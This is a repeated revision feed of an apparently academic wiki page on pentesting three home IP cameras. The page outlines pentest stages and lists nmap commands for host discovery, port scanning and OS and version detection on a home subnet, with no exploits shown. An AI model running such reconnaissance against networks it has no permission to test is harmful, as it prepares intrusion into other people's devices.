*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Planning ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
Target Specification:&lt;br /&gt;
 $sudo nmap 192.168.8.103        &amp;lt;i&amp;gt;Scan a single IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enables OS detection, version detection, script scanning, and traceroute:&lt;br /&gt;
 $sudo nmap -sV -A 192.168.8.103&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP Ports:&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sT    &amp;lt;i&amp;gt;TCP connect port scan (Default without root privilege).&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sU    &amp;lt;i&amp;gt;UDP port scan.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Host Discovery and Port Scan:&lt;br /&gt;
 $sudo nmap 192.168.8.1/24 -sn         &amp;lt;i&amp;gt;Disable port scanning. Host discovery only.&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap 192.168.8.1-254 -Pn        &amp;lt;i&amp;gt;Disable host discovery. Port scan only. (If the host is down)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Port Specification:&lt;br /&gt;
 $sudo nmap 192.168.8.103 -p-          &amp;lt;i&amp;gt;Scan all ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OS Detection:&lt;br /&gt;
 $sudo nmap 192.168.8.103 -O          &amp;lt;i&amp;gt;Remote OS detection using TCP/IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9860</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9860"/>
		<updated>2022-06-13T09:16:54Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
** Storage: EZVIZ cloud or/and MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
** Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
** Storage: MicroSD&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Planning&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Collecting and examing key data approximately the software and its infrastructure. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Discovering Vulnerabilities&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Planning ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
Target Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103        Scan a single IP&lt;br /&gt;
&lt;br /&gt;
Enables OS detection, version detection, script scanning, and traceroute&lt;br /&gt;
 $sudo nmap -sV -A 192.168.8.103&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP Ports&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sT    TCP connect port scan (Default without root privilege)&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sU    UDP port scan&lt;br /&gt;
&lt;br /&gt;
Host Discovery and Port Scan&lt;br /&gt;
 $sudo nmap 192.168.8.1/24 -sn         Disable port scanning. Host discovery only.&lt;br /&gt;
 $sudo nmap 192.168.8.1-254 -Pn        Disable host discovery. Port scan only. (If the host is down)&lt;br /&gt;
&lt;br /&gt;
Port Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103 -p-          Port scan all ports&lt;br /&gt;
&lt;br /&gt;
OS Detection&lt;br /&gt;
 $sudo nmap 192.168.8.103 -O          Remote OS detection using TCP/IP&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9859</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9859"/>
		<updated>2022-06-13T09:14:06Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
** Storage: EZVIZ cloud or/and MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
** Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
** Storage: MicroSD&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Planning&amp;lt;/b&amp;gt;&lt;br /&gt;
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
Collecting and examing key data approximately the software and its infrastructure. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Discovering Vulnerabilities&amp;lt;/b&amp;gt;&lt;br /&gt;
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
=== Planning ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
Target Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103        Scan a single IP&lt;br /&gt;
&lt;br /&gt;
Enables OS detection, version detection, script scanning, and traceroute&lt;br /&gt;
 $sudo nmap -sV -A 192.168.8.103&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP Ports&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sT    TCP connect port scan (Default without root privilege)&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sU    UDP port scan&lt;br /&gt;
&lt;br /&gt;
Host Discovery and Port Scan&lt;br /&gt;
 $sudo nmap 192.168.8.1/24 -sn         Disable port scanning. Host discovery only.&lt;br /&gt;
 $sudo nmap 192.168.8.1-254 -Pn        Disable host discovery. Port scan only. (If the host is down)&lt;br /&gt;
&lt;br /&gt;
Port Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103 -p-          Port scan all ports&lt;br /&gt;
&lt;br /&gt;
OS Detection&lt;br /&gt;
 $sudo nmap 192.168.8.103 -O          Remote OS detection using TCP/IP&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9858</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9858"/>
		<updated>2022-06-13T09:13:54Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
** Storage: EZVIZ cloud or/and MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
** Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
** Storage: MicroSD&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Planning&amp;lt;/b&amp;gt;&lt;br /&gt;
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
Collecting and examing key data approximately the software and its infrastructure. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Discovering Vulnerabilities&amp;lt;/b&amp;gt;&lt;br /&gt;
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
=== Planning ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
Target Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103        Scan a single IP&lt;br /&gt;
&lt;br /&gt;
Enables OS detection, version detection, script scanning, and traceroute&lt;br /&gt;
 $sudo nmap -sV -A 192.168.8.103&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP Ports&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sT    TCP connect port scan (Default without root privilege)&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sU    UDP port scan&lt;br /&gt;
&lt;br /&gt;
Host Discovery and Port Scan&lt;br /&gt;
 $sudo nmap 192.168.8.1/24 -sn         Disable port scanning. Host discovery only.&lt;br /&gt;
 $sudo nmap 192.168.8.1-254 -Pn        Disable host discovery. Port scan only. (If the host is down)&lt;br /&gt;
&lt;br /&gt;
Port Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103 -p-          Port scan all ports&lt;br /&gt;
&lt;br /&gt;
OS Detection&lt;br /&gt;
 $sudo nmap 192.168.8.103 -O          Remote OS detection using TCP/IP&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9857</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9857"/>
		<updated>2022-06-13T09:13:15Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Storage: EZVIZ cloud or/and MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Storage: MicroSD&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Planning&amp;lt;/b&amp;gt;&lt;br /&gt;
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
Collecting and examing key data approximately the software and its infrastructure. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Discovering Vulnerabilities&amp;lt;/b&amp;gt;&lt;br /&gt;
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
=== Planning ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
Target Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103        Scan a single IP&lt;br /&gt;
&lt;br /&gt;
Enables OS detection, version detection, script scanning, and traceroute&lt;br /&gt;
 $sudo nmap -sV -A 192.168.8.103&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP Ports&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sT    TCP connect port scan (Default without root privilege)&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sU    UDP port scan&lt;br /&gt;
&lt;br /&gt;
Host Discovery and Port Scan&lt;br /&gt;
 $sudo nmap 192.168.8.1/24 -sn         Disable port scanning. Host discovery only.&lt;br /&gt;
 $sudo nmap 192.168.8.1-254 -Pn        Disable host discovery. Port scan only. (If the host is down)&lt;br /&gt;
&lt;br /&gt;
Port Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103 -p-          Port scan all ports&lt;br /&gt;
&lt;br /&gt;
OS Detection&lt;br /&gt;
 $sudo nmap 192.168.8.103 -O          Remote OS detection using TCP/IP&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9856</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9856"/>
		<updated>2022-06-13T09:12:40Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
&amp;lt;br&amp;gt; Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Storage: EZVIZ cloud or/and MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Storage: MicroSD&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Planning&amp;lt;/b&amp;gt;&lt;br /&gt;
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
Collecting and examing key data approximately the software and its infrastructure. &lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Discovering Vulnerabilities&amp;lt;/b&amp;gt;&lt;br /&gt;
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
=== Planning ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
Target Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103        Scan a single IP&lt;br /&gt;
&lt;br /&gt;
Enables OS detection, version detection, script scanning, and traceroute&lt;br /&gt;
 $sudo nmap -sV -A 192.168.8.103&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP Ports&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sT    TCP connect port scan (Default without root privilege)&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sU    UDP port scan&lt;br /&gt;
&lt;br /&gt;
Host Discovery and Port Scan&lt;br /&gt;
 $sudo nmap 192.168.8.1/24 -sn         Disable port scanning. Host discovery only.&lt;br /&gt;
 $sudo nmap 192.168.8.1-254 -Pn        Disable host discovery. Port scan only. (If the host is down)&lt;br /&gt;
&lt;br /&gt;
Port Specification&lt;br /&gt;
 $sudo nmap 192.168.8.103 -p-          Port scan all ports&lt;br /&gt;
&lt;br /&gt;
OS Detection&lt;br /&gt;
 $sudo nmap 192.168.8.103 -O          Remote OS detection using TCP/IP&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
